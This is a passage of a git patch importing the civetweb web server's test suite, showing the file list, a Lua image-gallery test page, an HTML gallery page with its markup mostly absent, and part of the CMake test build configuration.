From 19fcec84d8d7d21e796c7624e521b60d28ee21ed Mon Sep 17 00:00:00 2001 From: Daniel Baumann Date: Sun, 7 Apr 2024 20:45:59 +0200 Subject: Adding upstream version 16.2.11+ds. Signed-off-by: Daniel Baumann --- src/civetweb/test/.leading.dot.txt | 1 + src/civetweb/test/1000images.lua | 199 + src/civetweb/test/100images.htm | 160 + src/civetweb/test/CMakeLists.txt | 250 ++ src/civetweb/test/HugeText.lua | 149 + src/civetweb/test/MakefileTest.mk | 88 + src/civetweb/test/MethodTest.xhtml | 200 + src/civetweb/test/README.md | 25 + src/civetweb/test/ajax/echo.cgi | 8 + src/civetweb/test/ajax/echo.cgi.old | 73 + src/civetweb/test/ajax/echo.lp | 9 + src/civetweb/test/ajax/echo.lua | 35 + src/civetweb/test/ajax/jquery.js | 4 + src/civetweb/test/ajax/test.html | 168 + src/civetweb/test/all_build_flags.pl | 28 + src/civetweb/test/bad.cgi | 6 + src/civetweb/test/bad2.cgi | 3 + src/civetweb/test/bad_page.lp | 1 + src/civetweb/test/bad_script.lua | 1 + src/civetweb/test/cgi_test.c | 40 + src/civetweb/test/cgi_test.html | 12 + src/civetweb/test/civetweb_check.h | 96 + src/civetweb/test/cors.html | 75 + src/civetweb/test/cors.reply.html | 7 + src/civetweb/test/cors.reply.lua | 86 + src/civetweb/test/cors.reply.shtml | 7 + src/civetweb/test/delayed.cgi | 20 + src/civetweb/test/dir with spaces/hello.cgi | 3 + src/civetweb/test/echo.lua | 41 + src/civetweb/test/embed.c | 182 + src/civetweb/test/env.cgi | 46 + src/civetweb/test/error.lua | 12 + src/civetweb/test/error404.htm | 10 + src/civetweb/test/exit.lua | 15 + src/civetweb/test/exploit.pl | 69 + src/civetweb/test/filehandler.lua | 93 + src/civetweb/test/form.html | 118 + src/civetweb/test/handle_form.lua | 123 + src/civetweb/test/hello.cgi | 7 + src/civetweb/test/hello.shtml | 5 + src/civetweb/test/hello.txt | 1 + src/civetweb/test/hello_gz.txt.gz | Bin 0 -> 66 bytes src/civetweb/test/hello_gz_unzipped.txt | 1 + src/civetweb/test/html_esc.lua | 60 + src/civetweb/test/imagetest/00.png | Bin 0 -> 566 bytes src/civetweb/test/imagetest/01.png | Bin 0 -> 587 bytes src/civetweb/test/imagetest/02.png | Bin 0 -> 701 bytes src/civetweb/test/imagetest/03.png | Bin 0 -> 741 bytes src/civetweb/test/imagetest/04.png | Bin 0 -> 622 bytes src/civetweb/test/imagetest/05.png | Bin 0 -> 711 bytes src/civetweb/test/imagetest/06.png | Bin 0 -> 748 bytes src/civetweb/test/imagetest/07.png | Bin 0 -> 645 bytes src/civetweb/test/imagetest/08.png | Bin 0 -> 759 bytes src/civetweb/test/imagetest/09.png | Bin 0 -> 760 bytes src/civetweb/test/imagetest/10.png | Bin 0 -> 584 bytes src/civetweb/test/imagetest/11.png | Bin 0 -> 386 bytes src/civetweb/test/imagetest/12.png | Bin 0 -> 529 bytes src/civetweb/test/imagetest/13.png | Bin 0 -> 575 bytes src/civetweb/test/imagetest/14.png | Bin 0 -> 451 bytes src/civetweb/test/imagetest/15.png | Bin 0 -> 547 bytes src/civetweb/test/imagetest/16.png | Bin 0 -> 600 bytes src/civetweb/test/imagetest/17.png | Bin 0 -> 477 bytes src/civetweb/test/imagetest/18.png | Bin 0 -> 597 bytes src/civetweb/test/imagetest/19.png | Bin 0 -> 600 bytes src/civetweb/test/imagetest/20.png | Bin 0 -> 700 bytes src/civetweb/test/imagetest/21.png | Bin 0 -> 533 bytes src/civetweb/test/imagetest/22.png | Bin 0 -> 514 bytes src/civetweb/test/imagetest/23.png | Bin 0 -> 679 bytes src/civetweb/test/imagetest/24.png | Bin 0 -> 564 bytes src/civetweb/test/imagetest/25.png | Bin 0 -> 656 bytes src/civetweb/test/imagetest/26.png | Bin 0 -> 694 bytes src/civetweb/test/imagetest/27.png | Bin 0 -> 586 bytes src/civetweb/test/imagetest/28.png | Bin 0 -> 695 bytes src/civetweb/test/imagetest/29.png | Bin 0 -> 712 bytes src/civetweb/test/imagetest/30.png | Bin 0 -> 736 bytes src/civetweb/test/imagetest/31.png | Bin 0 -> 572 bytes src/civetweb/test/imagetest/32.png | Bin 0 -> 682 bytes src/civetweb/test/imagetest/33.png | Bin 0 -> 556 bytes src/civetweb/test/imagetest/34.png | Bin 0 -> 612 bytes src/civetweb/test/imagetest/35.png | Bin 0 -> 695 bytes src/civetweb/test/imagetest/36.png | Bin 0 -> 739 bytes src/civetweb/test/imagetest/37.png | Bin 0 -> 636 bytes src/civetweb/test/imagetest/38.png | Bin 0 -> 747 bytes src/civetweb/test/imagetest/39.png | Bin 0 -> 736 bytes src/civetweb/test/imagetest/40.png | Bin 0 -> 623 bytes src/civetweb/test/imagetest/41.png | Bin 0 -> 448 bytes src/civetweb/test/imagetest/42.png | Bin 0 -> 560 bytes src/civetweb/test/imagetest/43.png | Bin 0 -> 610 bytes src/civetweb/test/imagetest/44.png | Bin 0 -> 441 bytes src/civetweb/test/imagetest/45.png | Bin 0 -> 584 bytes src/civetweb/test/imagetest/46.png | Bin 0 -> 632 bytes src/civetweb/test/imagetest/47.png | Bin 0 -> 522 bytes src/civetweb/test/imagetest/48.png | Bin 0 -> 634 bytes src/civetweb/test/imagetest/49.png | Bin 0 -> 637 bytes src/civetweb/test/imagetest/50.png | Bin 0 -> 709 bytes src/civetweb/test/imagetest/51.png | Bin 0 -> 550 bytes src/civetweb/test/imagetest/52.png | Bin 0 -> 661 bytes src/civetweb/test/imagetest/53.png | Bin 0 -> 696 bytes src/civetweb/test/imagetest/54.png | Bin 0 -> 587 bytes src/civetweb/test/imagetest/55.png | Bin 0 -> 544 bytes src/civetweb/test/imagetest/56.png | Bin 0 -> 718 bytes src/civetweb/test/imagetest/57.png | Bin 0 -> 610 bytes src/civetweb/test/imagetest/58.png | Bin 0 -> 721 bytes src/civetweb/test/imagetest/59.png | Bin 0 -> 725 bytes src/civetweb/test/imagetest/60.png | Bin 0 -> 751 bytes src/civetweb/test/imagetest/61.png | Bin 0 -> 600 bytes src/civetweb/test/imagetest/62.png | Bin 0 -> 710 bytes src/civetweb/test/imagetest/63.png | Bin 0 -> 744 bytes src/civetweb/test/imagetest/64.png | Bin 0 -> 631 bytes src/civetweb/test/imagetest/65.png | Bin 0 -> 726 bytes src/civetweb/test/imagetest/66.png | Bin 0 -> 584 bytes src/civetweb/test/imagetest/67.png | Bin 0 -> 659 bytes src/civetweb/test/imagetest/68.png | Bin 0 -> 766 bytes src/civetweb/test/imagetest/69.png | Bin 0 -> 766 bytes src/civetweb/test/imagetest/70.png | Bin 0 -> 640 bytes src/civetweb/test/imagetest/71.png | Bin 0 -> 474 bytes src/civetweb/test/imagetest/72.png | Bin 0 -> 584 bytes src/civetweb/test/imagetest/73.png | Bin 0 -> 631 bytes src/civetweb/test/imagetest/74.png | Bin 0 -> 517 bytes src/civetweb/test/imagetest/75.png | Bin 0 -> 603 bytes src/civetweb/test/imagetest/76.png | Bin 0 -> 650 bytes src/civetweb/test/imagetest/77.png | Bin 0 -> 453 bytes src/civetweb/test/imagetest/78.png | Bin 0 -> 653 bytes src/civetweb/test/imagetest/79.png | Bin 0 -> 655 bytes src/civetweb/test/imagetest/80.png | Bin 0 -> 759 bytes src/civetweb/test/imagetest/81.png | Bin 0 -> 596 bytes src/civetweb/test/imagetest/82.png | Bin 0 -> 714 bytes src/civetweb/test/imagetest/83.png | Bin 0 -> 751 bytes src/civetweb/test/imagetest/84.png | Bin 0 -> 634 bytes src/civetweb/test/imagetest/85.png | Bin 0 -> 724 bytes src/civetweb/test/imagetest/86.png | Bin 0 -> 766 bytes src/civetweb/test/imagetest/87.png | Bin 0 -> 660 bytes src/civetweb/test/imagetest/88.png | Bin 0 -> 579 bytes src/civetweb/test/imagetest/89.png | Bin 0 -> 778 bytes src/civetweb/test/imagetest/90.png | Bin 0 -> 756 bytes src/civetweb/test/imagetest/91.png | Bin 0 -> 604 bytes src/civetweb/test/imagetest/92.png | Bin 0 -> 716 bytes src/civetweb/test/imagetest/93.png | Bin 0 -> 735 bytes src/civetweb/test/imagetest/94.png | Bin 0 -> 634 bytes src/civetweb/test/imagetest/95.png | Bin 0 -> 726 bytes src/civetweb/test/imagetest/96.png | Bin 0 -> 763 bytes src/civetweb/test/imagetest/97.png | Bin 0 -> 660 bytes src/civetweb/test/imagetest/98.png | Bin 0 -> 776 bytes src/civetweb/test/imagetest/99.png | Bin 0 -> 590 bytes src/civetweb/test/linux.cgi | 9 + src/civetweb/test/linux_fail.cgi | 4 + src/civetweb/test/linux_fail_silent.cgi | 5 + src/civetweb/test/lua_preload_file.lua | 7 + src/civetweb/test/main.c | 103 + src/civetweb/test/page.lp | 71 + src/civetweb/test/page.lua | 71 + src/civetweb/test/page.ssjs | 19 + src/civetweb/test/page2.lp | 72 + src/civetweb/test/page2.lua | 91 + src/civetweb/test/page2.ssjs | 30 + src/civetweb/test/page3.lp | 20 + src/civetweb/test/page3.lua | 34 + src/civetweb/test/page3.ssjs | 61 + src/civetweb/test/page3a.lp | 20 + src/civetweb/test/page3r.lp | 20 + src/civetweb/test/page3v.lp | 20 + src/civetweb/test/page4.lua | 180 + src/civetweb/test/page5.lua | 8 + src/civetweb/test/page6.lua | 16 + src/civetweb/test/page_keep_alive.lua | 34 + src/civetweb/test/page_keep_alive_chunked.lua | 66 + src/civetweb/test/page_status.lua | 38 + src/civetweb/test/passfile | 3 + src/civetweb/test/prime.ssjs | 36 + src/civetweb/test/private.c | 1018 +++++ src/civetweb/test/private.h | 28 + src/civetweb/test/private_exe.c | 82 + src/civetweb/test/private_exe.h | 31 + src/civetweb/test/protected/.htpasswd | 1 + src/civetweb/test/protected/content.txt | 5 + src/civetweb/test/public_func.c | 546 +++ src/civetweb/test/public_func.h | 28 + src/civetweb/test/public_server.c | 4953 +++++++++++++++++++++++++ src/civetweb/test/public_server.h | 28 + src/civetweb/test/require_test.lua | 2 + src/civetweb/test/resource_script_demo.lua | 124 + src/civetweb/test/shared.c | 48 + src/civetweb/test/shared.h | 27 + src/civetweb/test/ssi_test.shtml | 37 + src/civetweb/test/syntax_error.ssjs | 7 + src/civetweb/test/test.ico | Bin 0 -> 1406 bytes src/civetweb/test/test.pl | 461 +++ src/civetweb/test/testclient.c | 151 + src/civetweb/test/timeout.cgi | 12 + src/civetweb/test/timertest.c | 350 ++ src/civetweb/test/timertest.h | 28 + src/civetweb/test/websocket.lua | 118 + src/civetweb/test/websocket.xhtml | 117 + src/civetweb/test/windows.cgi | 2 + src/civetweb/test/windows.cgi.cmd | 7 + src/civetweb/test/windows_fail.cgi | 2 + src/civetweb/test/windows_fail.cgi.cmd | 2 + src/civetweb/test/windows_fail_silent.cgi | 2 + src/civetweb/test/windows_fail_silent.cgi.cmd | 3 + src/civetweb/test/ws_status.lua | 137 + src/civetweb/test/x.php | 9 + 201 files changed, 11941 insertions(+) create mode 100644 src/civetweb/test/.leading.dot.txt create mode 100644 src/civetweb/test/1000images.lua create mode 100644 src/civetweb/test/100images.htm create mode 100644 src/civetweb/test/CMakeLists.txt create mode 100644 src/civetweb/test/HugeText.lua create mode 100644 src/civetweb/test/MakefileTest.mk create mode 100644 src/civetweb/test/MethodTest.xhtml create mode 100644 src/civetweb/test/README.md create mode 100644 src/civetweb/test/ajax/echo.cgi create mode 100644 src/civetweb/test/ajax/echo.cgi.old create mode 100644 src/civetweb/test/ajax/echo.lp create mode 100644 src/civetweb/test/ajax/echo.lua create mode 100644 src/civetweb/test/ajax/jquery.js create mode 100644 src/civetweb/test/ajax/test.html create mode 100755 src/civetweb/test/all_build_flags.pl create mode 100755 src/civetweb/test/bad.cgi create mode 100755 src/civetweb/test/bad2.cgi create mode 100644 src/civetweb/test/bad_page.lp create mode 100644 src/civetweb/test/bad_script.lua create mode 100644 src/civetweb/test/cgi_test.c create mode 100644 src/civetweb/test/cgi_test.html create mode 100644 src/civetweb/test/civetweb_check.h create mode 100644 src/civetweb/test/cors.html create mode 100644 src/civetweb/test/cors.reply.html create mode 100644 src/civetweb/test/cors.reply.lua create mode 100644 src/civetweb/test/cors.reply.shtml create mode 100644 src/civetweb/test/delayed.cgi create mode 100755 src/civetweb/test/dir with spaces/hello.cgi create mode 100644 src/civetweb/test/echo.lua create mode 100644 src/civetweb/test/embed.c create mode 100755 src/civetweb/test/env.cgi create mode 100644 src/civetweb/test/error.lua create mode 100644 src/civetweb/test/error404.htm create mode 100644 src/civetweb/test/exit.lua create mode 100755 src/civetweb/test/exploit.pl create mode 100644 src/civetweb/test/filehandler.lua create mode 100644 src/civetweb/test/form.html create mode 100644 src/civetweb/test/handle_form.lua create mode 100755 src/civetweb/test/hello.cgi create mode 100644 src/civetweb/test/hello.shtml create mode 100644 src/civetweb/test/hello.txt create mode 100644 src/civetweb/test/hello_gz.txt.gz create mode 100644 src/civetweb/test/hello_gz_unzipped.txt create mode 100644 src/civetweb/test/html_esc.lua create mode 100644 src/civetweb/test/imagetest/00.png create mode 100644 src/civetweb/test/imagetest/01.png create mode 100644 src/civetweb/test/imagetest/02.png create mode 100644 src/civetweb/test/imagetest/03.png create mode 100644 src/civetweb/test/imagetest/04.png create mode 100644 src/civetweb/test/imagetest/05.png create mode 100644 src/civetweb/test/imagetest/06.png create mode 100644 src/civetweb/test/imagetest/07.png create mode 100644 src/civetweb/test/imagetest/08.png create mode 100644 src/civetweb/test/imagetest/09.png create mode 100644 src/civetweb/test/imagetest/10.png create mode 100644 src/civetweb/test/imagetest/11.png create mode 100644 src/civetweb/test/imagetest/12.png create mode 100644 src/civetweb/test/imagetest/13.png create mode 100644 src/civetweb/test/imagetest/14.png create mode 100644 src/civetweb/test/imagetest/15.png create mode 100644 src/civetweb/test/imagetest/16.png create mode 100644 src/civetweb/test/imagetest/17.png create mode 100644 src/civetweb/test/imagetest/18.png create mode 100644 src/civetweb/test/imagetest/19.png create mode 100644 src/civetweb/test/imagetest/20.png create mode 100644 src/civetweb/test/imagetest/21.png create mode 100644 src/civetweb/test/imagetest/22.png create mode 100644 src/civetweb/test/imagetest/23.png create mode 100644 src/civetweb/test/imagetest/24.png create mode 100644 src/civetweb/test/imagetest/25.png create mode 100644 src/civetweb/test/imagetest/26.png create mode 100644 src/civetweb/test/imagetest/27.png create mode 100644 src/civetweb/test/imagetest/28.png create mode 100644 src/civetweb/test/imagetest/29.png create mode 100644 src/civetweb/test/imagetest/30.png create mode 100644 src/civetweb/test/imagetest/31.png create mode 100644 src/civetweb/test/imagetest/32.png create mode 100644 src/civetweb/test/imagetest/33.png create mode 100644 src/civetweb/test/imagetest/34.png create mode 100644 src/civetweb/test/imagetest/35.png create mode 100644 src/civetweb/test/imagetest/36.png create mode 100644 src/civetweb/test/imagetest/37.png create mode 100644 src/civetweb/test/imagetest/38.png create mode 100644 src/civetweb/test/imagetest/39.png create mode 100644 src/civetweb/test/imagetest/40.png create mode 100644 src/civetweb/test/imagetest/41.png create mode 100644 src/civetweb/test/imagetest/42.png create mode 100644 src/civetweb/test/imagetest/43.png create mode 100644 src/civetweb/test/imagetest/44.png create mode 100644 src/civetweb/test/imagetest/45.png create mode 100644 src/civetweb/test/imagetest/46.png create mode 100644 src/civetweb/test/imagetest/47.png create mode 100644 src/civetweb/test/imagetest/48.png create mode 100644 src/civetweb/test/imagetest/49.png create mode 100644 src/civetweb/test/imagetest/50.png create mode 100644 src/civetweb/test/imagetest/51.png create mode 100644 src/civetweb/test/imagetest/52.png create mode 100644 src/civetweb/test/imagetest/53.png create mode 100644 src/civetweb/test/imagetest/54.png create mode 100644 src/civetweb/test/imagetest/55.png create mode 100644 src/civetweb/test/imagetest/56.png create mode 100644 src/civetweb/test/imagetest/57.png create mode 100644 src/civetweb/test/imagetest/58.png create mode 100644 src/civetweb/test/imagetest/59.png create mode 100644 src/civetweb/test/imagetest/60.png create mode 100644 src/civetweb/test/imagetest/61.png create mode 100644 src/civetweb/test/imagetest/62.png create mode 100644 src/civetweb/test/imagetest/63.png create mode 100644 src/civetweb/test/imagetest/64.png create mode 100644 src/civetweb/test/imagetest/65.png create mode 100644 src/civetweb/test/imagetest/66.png create mode 100644 src/civetweb/test/imagetest/67.png create mode 100644 src/civetweb/test/imagetest/68.png create mode 100644 src/civetweb/test/imagetest/69.png create mode 100644 src/civetweb/test/imagetest/70.png create mode 100644 src/civetweb/test/imagetest/71.png create mode 100644 src/civetweb/test/imagetest/72.png create mode 100644 src/civetweb/test/imagetest/73.png create mode 100644 src/civetweb/test/imagetest/74.png create mode 100644 src/civetweb/test/imagetest/75.png create mode 100644 src/civetweb/test/imagetest/76.png create mode 100644 src/civetweb/test/imagetest/77.png create mode 100644 src/civetweb/test/imagetest/78.png create mode 100644 src/civetweb/test/imagetest/79.png create mode 100644 src/civetweb/test/imagetest/80.png create mode 100644 src/civetweb/test/imagetest/81.png create mode 100644 src/civetweb/test/imagetest/82.png create mode 100644 src/civetweb/test/imagetest/83.png create mode 100644 src/civetweb/test/imagetest/84.png create mode 100644 src/civetweb/test/imagetest/85.png create mode 100644 src/civetweb/test/imagetest/86.png create mode 100644 src/civetweb/test/imagetest/87.png create mode 100644 src/civetweb/test/imagetest/88.png create mode 100644 src/civetweb/test/imagetest/89.png create mode 100644 src/civetweb/test/imagetest/90.png create mode 100644 src/civetweb/test/imagetest/91.png create mode 100644 src/civetweb/test/imagetest/92.png create mode 100644 src/civetweb/test/imagetest/93.png create mode 100644 src/civetweb/test/imagetest/94.png create mode 100644 src/civetweb/test/imagetest/95.png create mode 100644 src/civetweb/test/imagetest/96.png create mode 100644 src/civetweb/test/imagetest/97.png create mode 100644 src/civetweb/test/imagetest/98.png create mode 100644 src/civetweb/test/imagetest/99.png create mode 100755 src/civetweb/test/linux.cgi create mode 100644 src/civetweb/test/linux_fail.cgi create mode 100644 src/civetweb/test/linux_fail_silent.cgi create mode 100644 src/civetweb/test/lua_preload_file.lua create mode 100644 src/civetweb/test/main.c create mode 100644 src/civetweb/test/page.lp create mode 100644 src/civetweb/test/page.lua create mode 100644 src/civetweb/test/page.ssjs create mode 100644 src/civetweb/test/page2.lp create mode 100644 src/civetweb/test/page2.lua create mode 100644 src/civetweb/test/page2.ssjs create mode 100644 src/civetweb/test/page3.lp create mode 100644 src/civetweb/test/page3.lua create mode 100644 src/civetweb/test/page3.ssjs create mode 100644 src/civetweb/test/page3a.lp create mode 100644 src/civetweb/test/page3r.lp create mode 100644 src/civetweb/test/page3v.lp create mode 100644 src/civetweb/test/page4.lua create mode 100644 src/civetweb/test/page5.lua create mode 100644 src/civetweb/test/page6.lua create mode 100644 src/civetweb/test/page_keep_alive.lua create mode 100644 src/civetweb/test/page_keep_alive_chunked.lua create mode 100644 src/civetweb/test/page_status.lua create mode 100644 src/civetweb/test/passfile create mode 100644 src/civetweb/test/prime.ssjs create mode 100644 src/civetweb/test/private.c create mode 100644 src/civetweb/test/private.h create mode 100644 src/civetweb/test/private_exe.c create mode 100644 src/civetweb/test/private_exe.h create mode 100644 src/civetweb/test/protected/.htpasswd create mode 100644 src/civetweb/test/protected/content.txt create mode 100644 src/civetweb/test/public_func.c create mode 100644 src/civetweb/test/public_func.h create mode 100644 src/civetweb/test/public_server.c create mode 100644 src/civetweb/test/public_server.h create mode 100644 src/civetweb/test/require_test.lua create mode 100644 src/civetweb/test/resource_script_demo.lua create mode 100644 src/civetweb/test/shared.c create mode 100644 src/civetweb/test/shared.h create mode 100644 src/civetweb/test/ssi_test.shtml create mode 100644 src/civetweb/test/syntax_error.ssjs create mode 100644 src/civetweb/test/test.ico create mode 100755 src/civetweb/test/test.pl create mode 100644 src/civetweb/test/testclient.c create mode 100755 src/civetweb/test/timeout.cgi create mode 100644 src/civetweb/test/timertest.c create mode 100644 src/civetweb/test/timertest.h create mode 100644 src/civetweb/test/websocket.lua create mode 100644 src/civetweb/test/websocket.xhtml create mode 100644 src/civetweb/test/windows.cgi create mode 100644 src/civetweb/test/windows.cgi.cmd create mode 100644 src/civetweb/test/windows_fail.cgi create mode 100644 src/civetweb/test/windows_fail.cgi.cmd create mode 100644 src/civetweb/test/windows_fail_silent.cgi create mode 100644 src/civetweb/test/windows_fail_silent.cgi.cmd create mode 100644 src/civetweb/test/ws_status.lua create mode 100644 src/civetweb/test/x.php (limited to 'src/civetweb/test') diff --git a/src/civetweb/test/.leading.dot.txt b/src/civetweb/test/.leading.dot.txt new file mode 100644 index 000000000..0e4b0c7ba --- /dev/null +++ b/src/civetweb/test/.leading.dot.txt @@ -0,0 +1 @@ +abc123 diff --git a/src/civetweb/test/1000images.lua b/src/civetweb/test/1000images.lua new file mode 100644 index 000000000..8601a42a1 --- /dev/null +++ b/src/civetweb/test/1000images.lua @@ -0,0 +1,199 @@ +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Type: text/html; charset=utf-8\r\n") +mg.write("\r\n") + +t = os.time() + +if not mg.request_info.query_string then + cnt = 1000 +else + cnt = tonumber(mg.get_var(mg.request_info.query_string, "cnt")) +end + +cnt = 100*math.floor(cnt/100) + +mg.write([[ + + + ]] .. cnt .. [[ images + + + +

A large gallery of small images:

+

+]]) +for s=0,(cnt/100)-1 do +local ts = (tostring(t) .. tostring(s)) +mg.write([[ +

page ]]..s..[[

+ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +]]) +mg.write([[ + + + + + + + + + + + + +
+]]) +end +mg.write([[ +

+

+ Test case: all images are displayed. +

+ + +]]) diff --git a/src/civetweb/test/100images.htm b/src/civetweb/test/100images.htm new file mode 100644 index 000000000..9e433f660 --- /dev/null +++ b/src/civetweb/test/100images.htm @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + 100 images + + + +

A gallery of small images:

+

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+

+ Test case: all images are displayed. +

+ + + diff --git a/src/civetweb/test/CMakeLists.txt b/src/civetweb/test/CMakeLists.txt new file mode 100644 index 000000000..e6a360c30 --- /dev/null +++ b/src/civetweb/test/CMakeLists.txt @@ -0,0 +1,250 @@ +# Determine if we should print to the output +if (CIVETWEB_ENABLE_THIRD_PARTY_OUTPUT) + set(THIRD_PARTY_LOGGING 0) +else() + set(THIRD_PARTY_LOGGING 1) +endif() + +# We use the check unit testing framework for our C unit tests +include(ExternalProject) +#if(NOT WIN32) +# # Apply the patch to check to fix CMake building on OS X +# set(CHECK_PATCH_COMMAND patch +# ${CIVETWEB_THIRD_PARTY_DIR}/src/check-unit-test-framework/CMakeLists.txt +# ${CMAKE_SOURCE_DIR}/cmake/check/c82fe8888aacfe784476112edd3878256d2e30bc.patch +# ) +#else() +# set(CHECK_PATCH_COMMAND "") +#endif() +ExternalProject_Add(check-unit-test-framework + DEPENDS c-library + +## Use an official, released check version: +# URL "https://codeload.github.com/libcheck/check/zip/${CIVETWEB_CHECK_VERSION}" +# DOWNLOAD_NAME "${CIVETWEB_CHECK_VERSION}.zip" +# URL_MD5 ${CIVETWEB_CHECK_MD5_HASH} + +## Use a civetweb specific patched version +URL "https://github.com/civetweb/check/archive/master.zip" +DOWNLOAD_NAME "master.zip" +# + + PREFIX "${CIVETWEB_THIRD_PARTY_DIR}" + BUILD_IN_SOURCE 1 + PATCH_COMMAND ${CHECK_PATCH_COMMAND} + CMAKE_ARGS + "-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}" + "-DCMAKE_C_COMPILER=${CMAKE_C_COMPILER}" + "-DCMAKE_INSTALL_PREFIX=" + LOG_DOWNLOAD ${THIRD_PARTY_LOGGING} + LOG_UPDATE ${THIRD_PARTY_LOGGING} + LOG_CONFIGURE ${THIRD_PARTY_LOGGING} + LOG_BUILD ${THIRD_PARTY_LOGGING} + LOG_TEST ${THIRD_PARTY_LOGGING} + LOG_INSTALL ${THIRD_PARTY_LOGGING}) + +ExternalProject_Get_Property(check-unit-test-framework INSTALL_DIR) +set(CHECK_INSTALL_DIR ${INSTALL_DIR}) +unset(INSTALL_DIR) +link_directories("${CHECK_INSTALL_DIR}/lib") +include_directories("${CHECK_INSTALL_DIR}/include") +if ((WIN32 AND MINGW) OR APPLE) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcheck.a") + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcompat.a") +elseif (WIN32) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/check.lib") + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/compat.lib") +else() + set(CHECK_LIBRARIES "${CHECK_INSTALL_DIR}/lib/libcheck.a") +endif() +find_package(LibM) +if (LIBM_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBM::LIBM") +endif() +find_package(LibRt) +if (LIBRT_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBRT::LIBRT") +endif() +find_package(LibSubunit) +if (LIBSUBUNIT_FOUND) + set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBSUBUNIT::LIBSUBUNIT") +endif() + +# Build the C unit tests +add_library(shared-c-unit-tests STATIC shared.c) +target_include_directories( + shared-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) + +add_library(public-func-c-unit-tests STATIC public_func.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(public-func-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS) +endif() +target_include_directories( + public-func-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(public-func-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(public-func-c-unit-tests check-unit-test-framework) + +add_library(public-server-c-unit-tests STATIC public_server.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(public-server-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS) +endif() +target_include_directories( + public-server-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(public-server-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(public-server-c-unit-tests check-unit-test-framework) + +add_library(private-c-unit-tests STATIC private.c) +target_include_directories( + private-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(private-c-unit-tests ${CHECK_LIBRARIES}) +add_dependencies(private-c-unit-tests check-unit-test-framework) + +add_library(timer-c-unit-tests STATIC timertest.c) +target_include_directories( + timer-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(timer-c-unit-tests ${CHECK_LIBRARIES}) +add_dependencies(timer-c-unit-tests check-unit-test-framework) + +add_library(exe-c-unit-tests STATIC private_exe.c) +if (BUILD_SHARED_LIBS) + target_compile_definitions(exe-c-unit-tests PRIVATE) +endif() +target_include_directories( + exe-c-unit-tests PUBLIC + ${PROJECT_SOURCE_DIR}/include) +target_link_libraries(exe-c-unit-tests c-library ${CHECK_LIBRARIES}) +add_dependencies(exe-c-unit-tests check-unit-test-framework) + +add_executable(main-c-unit-test main.c) +target_link_libraries(main-c-unit-test + shared-c-unit-tests + public-func-c-unit-tests + public-server-c-unit-tests + private-c-unit-tests + timer-c-unit-tests + exe-c-unit-tests + ${CHECK_LIBRARIES}) +add_dependencies(main-c-unit-test check-unit-test-framework) + +# Add a check command that builds the dependent test program +add_custom_target(check + COMMAND ${CMAKE_CTEST_COMMAND} + DEPENDS main-c-unit-test) + +# A macro for adding tests +macro(civetweb_add_test suite test_case) + set(test "test-${suite}-${test_case}") + string(TOLOWER "${test}" test) + string(REGEX REPLACE "[^-A-Za-z0-9]" "-" test "${test}") + add_test( + NAME ${test} + COMMAND main-c-unit-test "--test-dir=${CMAKE_CURRENT_SOURCE_DIR}" "--suite=${suite}" "--test-case=${test_case}") + if (WIN32) + string(REPLACE ";" "\\;" test_path "$ENV{PATH}") + set_tests_properties(${test} PROPERTIES + ENVIRONMENT "PATH=${test_path}\\;$") + endif() +endmacro(civetweb_add_test) + + +# Tests of private functions +civetweb_add_test(Private "HTTP Message") +civetweb_add_test(Private "HTTP Keep Alive") +civetweb_add_test(Private "URL Parsing 1") +civetweb_add_test(Private "URL Parsing 2") +civetweb_add_test(Private "URL Parsing 3") +civetweb_add_test(Private "Internal Parsing 1") +civetweb_add_test(Private "Internal Parsing 2") +civetweb_add_test(Private "Internal Parsing 3") +civetweb_add_test(Private "Internal Parsing 4") +civetweb_add_test(Private "Internal Parsing 5") +civetweb_add_test(Private "Internal Parsing 6") +civetweb_add_test(Private "Encode Decode") +civetweb_add_test(Private "Mask Data") +civetweb_add_test(Private "Date Parsing") +civetweb_add_test(Private "SHA1") + +# Public API function tests +civetweb_add_test(PublicFunc "Version") +civetweb_add_test(PublicFunc "Options") +civetweb_add_test(PublicFunc "MIME types") +civetweb_add_test(PublicFunc "strcasecmp") +civetweb_add_test(PublicFunc "URL encoding decoding") +civetweb_add_test(PublicFunc "Cookies and variables") +civetweb_add_test(PublicFunc "MD5") +civetweb_add_test(PublicFunc "Aux functions") + +# Public API server tests +civetweb_add_test(PublicServer "Check test environment") +civetweb_add_test(PublicServer "Init library") 